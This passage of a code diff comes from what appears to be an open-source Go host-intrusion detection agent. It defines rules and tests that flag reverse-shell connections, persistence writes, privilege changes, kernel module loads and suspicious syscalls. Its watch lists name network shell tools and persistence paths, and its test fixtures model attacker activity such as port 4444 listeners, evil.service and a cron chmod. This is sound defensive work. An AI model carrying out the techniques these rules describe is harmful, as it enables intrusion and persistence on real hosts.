rules := make([]HostRule, 0, len(specifications))
for _, specification := range specifications {
rule, err := NewHostRule(specification)
if err != nil {
panic(err)
}
rules = append(rules, rule)
}
return HostRuleEngine{Rules: rules}
}
func (e HostRuleEngine) Match(event HostEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
var hostInterpreterNames = strings.Fields(
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
"node nodejs nc ncat netcat socat curl wget fetch")
var hostInterpreters = stringSet(hostInterpreterNames)
// HostInterpreterComms returns the process names used by typed host rules.
// Kernel sources use the same list for in-BPF prefiltering.
func HostInterpreterComms() []string {
return append([]string(nil), hostInterpreterNames...)
}
var commonPublicPorts = intSet([]int{22, 53, 80, 123, 443, 853})
var persistencePrefixes = []string{
"/etc/cron.d/", "/etc/crontab", "/etc/systemd/system/",
"/etc/ld.so.preload", "/root/.ssh/authorized_keys",
"/etc/sudoers", "/etc/sudoers.d/",
}
var writableRuntimePrefixes = []string{"/tmp/", "/var/tmp/", "/dev/shm/", "/run/user/"}
var sensitiveCapabilities = stringSet([]string{
"CAP_SYS_ADMIN", "CAP_SYS_MODULE", "CAP_SYS_PTRACE",
"CAP_DAC_READ_SEARCH", "CAP_NET_ADMIN", "CAP_NET_RAW",
})
func intSet(values []int) map[int]bool {
result := make(map[int]bool, len(values))
for _, value := range values {
result[value] = true
}
return result
}
func pathMatches(path string, prefixes []string) bool {
for _, prefix := range prefixes {
if path == prefix || strings.HasPrefix(path, prefix) {
return true
}
}
return false
}

View file

@ -0,0 +1,90 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/json"
"strings"
"testing"
)
func TestHostEventCompatibilityAliases(t *testing.T) {
var event HostEvent
raw := []byte(`{"type":"accept","pid":"42","remote_ip":"8.8.8.8","remote_port":"51515","bind_ip":"0.0.0.0","bind_port":"4444","target_uid":"0","mode":"0o777","capability":"cap_sys_admin","name":"evil"}`)
if err := json.Unmarshal(raw, &event); err != nil {
t.Fatal(err)
}
if event.Event != "accept" || event.PID != 42 || event.PeerIP != "8.8.8.8" ||
event.PeerPort != 51515 || event.LocalPort != 4444 || event.TargetUID != 0 ||
event.TargetGID != -1 || event.Mode != 0o777 || event.Capabilities[0] != "CAP_SYS_ADMIN" ||
event.ModuleName != "evil" {
t.Fatalf("compatibility decode drifted: %#v", event)
}
}
func TestDefaultHostRulesMatchAllBuiltins(t *testing.T) {
engine := DefaultHostRuleEngine()
tests := []struct {
event HostEvent
sid int
}{
{HostEvent{Event: "tcp_connect", PID: 1, Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 4444, TargetUID: -1, TargetGID: -1}, 100067},
{HostEvent{Event: "listen", PID: 2, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100068},
{HostEvent{Event: "bind", PID: 3, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100073},
{HostEvent{Event: "file_write", PID: 4, Comm: "python3", Path: "/etc/systemd/system/evil.service", TargetUID: -1, TargetGID: -1}, 100069},
{HostEvent{Event: "chmod", PID: 5, Comm: "chmod", Path: "/etc/cron.d/evil", Mode: 0o777, TargetUID: -1, TargetGID: -1}, 100070},
{HostEvent{Event: "setuid", PID: 6, Comm: "python3", TargetUID: 0, TargetGID: -1}, 100071},
{HostEvent{Event: "setgid", PID: 7, Comm: "python3", TargetUID: -1, TargetGID: 0}, 100072},
{HostEvent{Event: "accept", PID: 8, Comm: "python3", PeerIP: "8.8.8.8", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100076},
{HostEvent{Event: "capset", PID: 9, Comm: "python3", Capabilities: []string{"cap_sys_admin"}, TargetUID: -1, TargetGID: -1}, 100077},
{HostEvent{Event: "module_load", PID: 10, Comm: "insmod", Path: "/tmp/evil.ko", TargetUID: -1, TargetGID: -1}, 100078},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
}
func TestHostInterpreterCommsReturnsCopy(t *testing.T) {
first := HostInterpreterComms()
if len(first) == 0 {
t.Fatal("interpreter list must not be empty")
}
original := first[0]
first[0] = "mutated"
if HostInterpreterComms()[0] != original {
t.Fatal("caller mutated shared interpreter list")
}
}
func TestHostRulesRejectCommonOrPrivateNetworkShapes(t *testing.T) {
engine := DefaultHostRuleEngine()
for _, event := range []HostEvent{
{Event: "tcp_connect", Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 443},
{Event: "tcp_connect", Comm: "python3", PeerIP: "10.0.0.2", PeerPort: 4444},
{Event: "listen", Comm: "python3", LocalPort: 80},
} {
if alerts := engine.Match(event); len(alerts) != 0 {
t.Fatalf("benign network shape matched: %#v", alerts)
}
}
}
func TestHostAlertContract(t *testing.T) {
event := HostEvent{
Event: "chmod", PID: 42, PPID: 1, UID: 0, Comm: "chmod",
Path: "/etc/cron.d/evil", TargetUID: -1, TargetGID: -1, Mode: 0o777,
}
alert := DefaultHostRuleEngine().Match(event)[0]
if alert.Key != "host:100070:chmod:42::0::0:/etc/cron.d/evil:-1:-1:511::" ||
!strings.Contains(alert.Detail, "mode=0o777 capabilities=- module=-") {
t.Fatalf("unexpected host alert: %#v", alert)
}
}

View file

@ -0,0 +1,121 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"bufio"
"encoding/json"
"fmt"
"io"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
type EventKind string
const (
ExecKind EventKind = "exec"
SyscallKind EventKind = "syscall"
HostKind EventKind = "host"
)
// RuleSet is the transport-independent destination for every live or replayed
// kernel event. A cilium/ebpf source only needs to decode into these records;
// it does not need to know rule details or alert schemas.
type RuleSet struct {
Exec ExecRuleEngine
Syscall SyscallRuleEngine
Host HostRuleEngine
}
func NewRuleSet(exec ExecRuleEngine) RuleSet {
return RuleSet{
Exec: exec, Syscall: DefaultSyscallRuleEngine(), Host: DefaultHostRuleEngine(),
}
}
func (r RuleSet) MatchJSON(raw []byte) ([]model.Alert, error) {
kind, err := eventKind(raw)
if err != nil {
return nil, err
}
switch kind {
case ExecKind:
var event ExecEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Exec.Match(event), nil
case SyscallKind:
var event SyscallEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Syscall.Match(event), nil
case HostKind:
var event HostEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Host.Match(event), nil
default:
return nil, fmt.Errorf("event JSON must be an exec, syscall, or host event")
}
}
func eventKind(raw []byte) (EventKind, error) {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return "", err
}
explicit := strings.ToLower(stringValue(firstValue(values, "event", "type")))
switch explicit {
case "exec", "execve":
return ExecKind, nil
case "syscall", "sys":
return SyscallKind, nil
case "tcp_connect", "bind", "listen", "accept", "file_write",
"chmod", "chown", "setuid", "setgid", "capset", "module_load":
return HostKind, nil
}
if _, ok := values["filename"]; ok {
return ExecKind, nil
}
if _, ok := values["argv"]; ok {
return ExecKind, nil
}
if _, ok := values["parent_comm"]; ok {
return ExecKind, nil
}
if _, ok := values["syscall"]; ok {
return SyscallKind, nil
}
if _, ok := values["args"]; ok {
return SyscallKind, nil
}
return "", fmt.Errorf("event JSON must be an exec, syscall, or host event")
}
// ScanJSONL feeds non-empty lines to the matcher callback with line-numbered
// errors. Scanner capacity is raised for long argv or future module metadata.
func ScanJSONL(reader io.Reader, consume func([]byte) error) error {
scanner := bufio.NewScanner(reader)
scanner.Buffer(make([]byte, 64*1024), 1024*1024)
line := 0
for scanner.Scan() {
line++
raw := bytesTrimSpace(scanner.Bytes())
if len(raw) == 0 {
continue
}
if err := consume(raw); err != nil {
return fmt.Errorf("event stream line %d: %w", line, err)
}
}
return scanner.Err()
}
func bytesTrimSpace(value []byte) []byte {
return []byte(strings.TrimSpace(string(value)))
}

View file

@ -0,0 +1,45 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"strings"
"testing"
)
func TestRuleSetMatchesCompatibilityJSON(t *testing.T) {
rules := NewRuleSet(DefaultExecRuleEngine())
tests := []struct {
raw string
sid int
}{
{`{"type":"execve","pid":"42","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}`, 100003},
{`{"type":"sys","pid":"43","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}`, 100060},
{`{"type":"listen","pid":"44","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}`, 100068},
}
for _, test := range tests {
alerts, err := rules.MatchJSON([]byte(test.raw))
if err != nil {
t.Fatal(err)
}
found := false
for _, alert := range alerts {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %s: %#v", test.sid, test.raw, alerts)
}
}
}
func TestScanJSONLReportsLine(t *testing.T) {
err := ScanJSONL(strings.NewReader("\n{}\n"), func(raw []byte) error {
_, err := NewRuleSet(DefaultExecRuleEngine()).MatchJSON(raw)
return err
})
if err == nil || !strings.Contains(err.Error(), "line 2") {
t.Fatalf("missing line context: %v", err)
}
}

View file

@ -0,0 +1,42 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import "encoding/json"
// SyscallEvent is the transport-neutral security telemetry consumed by the
// syscall rules. Unsupplied arguments decode as zero, matching Python's
// dataclass defaults and the partial fixtures accepted by rule operations.
type SyscallEvent struct {
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
Comm string `json:"comm"`
Syscall string `json:"syscall"`
Args [6]uint64 `json:"args"`
Text string `json:"text"`
}
func (e *SyscallEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.Comm = stringValue(values["comm"])
e.Syscall = stringValue(values["syscall"])
e.Text = stringValue(values["text"])
if args, ok := values["args"].([]any); ok {
for index := 0; index < len(args) && index < len(e.Args); index++ {
e.Args[index] = uint64(integerValue(args[index], 0))
}
}
for index, key := range []string{"arg0", "arg1", "arg2", "arg3", "arg4", "arg5"} {
if value, ok := values[key]; ok {
e.Args[index] = uint64(integerValue(value, int(e.Args[index])))
}
}
return nil
}

View file

@ -0,0 +1,123 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"fmt"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
const (
protWrite = 0x2
protExec = 0x4
ptraceTrace = 0
ptraceAttach = 16
ptraceSeize = 0x4206
prSetSeccomp = 22
)
type syscallPredicate func(SyscallEvent) bool
type SyscallRule struct {
SID int
Message string
Severity string
Classtype string
Syscalls map[string]bool
Predicate syscallPredicate
}
func (r SyscallRule) Matches(event SyscallEvent) bool {
return r.Syscalls[event.Syscall] && r.Predicate(event)
}
func (r SyscallRule) Alert(event SyscallEvent) model.Alert {
detail := fmt.Sprintf(
"sid=%d %s — pid=%d ppid=%d comm=%s syscall=%s args=[%#x, %#x, %#x, %#x]",
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Syscall,
event.Args[0], event.Args[1], event.Args[2], event.Args[3])
if event.Text != "" {
detail += " text=[" + truncateRunes(event.Text, 80) + "]"
}
return model.Alert{
SID: r.SID, Severity: r.Severity,
Signature: "syscall_rule." + r.Classtype, Classtype: r.Classtype,
Key: fmt.Sprintf("syscall:%d:%d:%s:%x:%x",
r.SID, event.PID, event.Syscall, event.Args[0], event.Args[2]),
Detail: detail, PIDs: []int{event.PID},
}
}
type SyscallRuleEngine struct {
Rules []SyscallRule
}
func DefaultSyscallRuleEngine() SyscallRuleEngine {
return SyscallRuleEngine{Rules: []SyscallRule{
{
SID: 100060, Message: "mprotect made memory writable and executable",
Severity: "CRITICAL", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mprotect"}),
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
},
{
SID: 100061, Message: "mmap requested writable and executable memory",
Severity: "CRITICAL", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mmap"}),
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
},
{
SID: 100062, Message: "memfd_create used for anonymous in-memory file staging",
Severity: "MEDIUM", Classtype: "fileless-execution",
Syscalls: stringSet([]string{"memfd_create"}), Predicate: alwaysSyscall,
},
{
SID: 100063, Message: "ptrace anti-debug or attach operation observed",
Severity: "HIGH", Classtype: "anti-analysis",
Syscalls: stringSet([]string{"ptrace"}),
Predicate: func(event SyscallEvent) bool {
request := event.Args[0]
return request == ptraceTrace || request == ptraceAttach || request == ptraceSeize
},
},
{
SID: 100064,
Message: "seccomp sandboxing call observed (possible anti-analysis hardening)",
Severity: "MEDIUM", Classtype: "anti-analysis",
Syscalls: stringSet([]string{"prctl", "seccomp"}),
Predicate: func(event SyscallEvent) bool {
return event.Syscall == "seccomp" || event.Args[0] == prSetSeccomp
},
},
{
SID: 100065, Message: "cross-process memory read/write syscall observed",
Severity: "HIGH", Classtype: "credential-access",
Syscalls: stringSet([]string{"process_vm_readv", "process_vm_writev"}),
Predicate: alwaysSyscall,
},
{
SID: 100066,
Message: "memory locking syscall observed (possible protected in-memory payload)",
Severity: "MEDIUM", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mlock", "mlock2", "mlockall"}),
Predicate: alwaysSyscall,
},
}}
}
func (e SyscallRuleEngine) Match(event SyscallEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
func protectedWX(protection uint64) bool {
return protection&protWrite != 0 && protection&protExec != 0
}
func alwaysSyscall(SyscallEvent) bool { return true }

View file

@ -0,0 +1,64 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"strings"
"testing"
)
func syscallEvent(name string, arg0, arg2 uint64) SyscallEvent {
return SyscallEvent{
PID: 10, PPID: 1, UID: 1000, Comm: "hoxha", Syscall: name,
Args: [6]uint64{arg0, 0, arg2},
}
}
func TestDefaultSyscallRulesMatchPython(t *testing.T) {
engine := DefaultSyscallRuleEngine()
tests := []struct {
event SyscallEvent
sid int
}{
{syscallEvent("mprotect", 0, 0x6), 100060},
{syscallEvent("mmap", 0, 0x7), 100061},
{syscallEvent("memfd_create", 0, 0), 100062},
{syscallEvent("ptrace", 16, 0), 100063},
{syscallEvent("ptrace", 0x4206, 0), 100063},
{syscallEvent("prctl", 22, 0), 100064},
{syscallEvent("seccomp", 0, 0), 100064},
{syscallEvent("process_vm_readv", 4242, 0), 100065},
{syscallEvent("process_vm_writev", 4242, 0), 100065},
{syscallEvent("mlock", 0, 0), 100066},
{syscallEvent("mlockall", 0, 0), 100066},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
if alerts := engine.Match(syscallEvent("mprotect", 0, 0x5)); len(alerts) != 0 {
t.Fatalf("read+exec mprotect matched: %#v", alerts)
}
if alerts := engine.Match(syscallEvent("ptrace", 3, 0)); len(alerts) != 0 {
t.Fatalf("non-sensitive ptrace matched: %#v", alerts)
}
}
func TestSyscallAlertContract(t *testing.T) {
event := syscallEvent("memfd_create", 1, 0)
event.Text = "payload"
alert := DefaultSyscallRuleEngine().Match(event)[0]
if alert.SID != 100062 || alert.Severity != "MEDIUM" ||
alert.Signature != "syscall_rule.fileless-execution" ||
alert.Key != "syscall:100062:10:memfd_create:1:0" ||
!strings.Contains(alert.Detail, "args=[0x1, 0x0, 0x0, 0x0] text=[payload]") {
t.Fatalf("unexpected alert: %#v", alert)
}
}